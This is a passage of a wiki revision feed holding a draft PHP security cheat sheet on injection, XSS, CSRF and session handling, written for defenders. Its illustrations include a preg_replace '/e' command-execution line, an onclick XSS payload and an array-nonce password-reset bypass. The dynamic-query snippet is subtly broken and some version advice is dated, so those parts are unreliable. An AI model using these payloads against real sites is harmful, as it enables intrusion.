    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165226</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165226"/>
				<updated>2014-01-01T13:30:29Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: grammar fixes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web&lt;br /&gt;
servers deploy PHP. PHP is open source.&lt;br /&gt;
&lt;br /&gt;
PHP is unusual in that it is both a language and a web framework, in that it&lt;br /&gt;
comes with the typical features of a web framework built-in. Like all web&lt;br /&gt;
languages, there is also a large community of libraries etc., which also&lt;br /&gt;
contribute to the security (or otherwise) of programming in PHP. All 3 aspects&lt;br /&gt;
need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to&lt;br /&gt;
write secure PHP applications. These are difficult to work around if you are&lt;br /&gt;
forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an&lt;br /&gt;
incorrect type into the expected type. This feature very often masks errors by&lt;br /&gt;
the developer or injections of unexpected data, leading to vulnerabilities (see&lt;br /&gt;
below under &amp;quot;Input handling&amp;quot; for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions&lt;br /&gt;
(e.g. === and not ==). Not all operators have strict versions, and many built-in&lt;br /&gt;
functions (like 'in_array') use weakly typed comparison functions, making it&lt;br /&gt;
difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but&lt;br /&gt;
instead report errors in other ways (such as via notices) that allow the faulty&lt;br /&gt;
code to carry on running. This has the effect of masking many bugs. In other&lt;br /&gt;
languages, error conditions that are caused by developer errors will cause the&lt;br /&gt;
program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]&lt;br /&gt;
function, and never attempt to suppress error messages - always follow the&lt;br /&gt;
warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many&lt;br /&gt;
configuration settings, including fundamental changes to things like how errors&lt;br /&gt;
are handled. This can make it very difficult to write code that works correctly&lt;br /&gt;
in all circumstances. Different libaries can have different expectations or&lt;br /&gt;
requirements about these settings, making it difficult to correctly use 3rd&lt;br /&gt;
party code. Some are mentioned below under 'Configuration'.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP's built-in URL routing mechanism is to use files ending in &amp;quot;.php&amp;quot; in the&lt;br /&gt;
directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with $supplied_nonce being an array. strcmp() will then return&lt;br /&gt;
NULL (not 0), but due to weak typing and the '==' operator instead of '===', the&lt;br /&gt;
comparison succeeds (since &amp;quot;NULL == 0&amp;quot; is true according to PHP), and the&lt;br /&gt;
attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
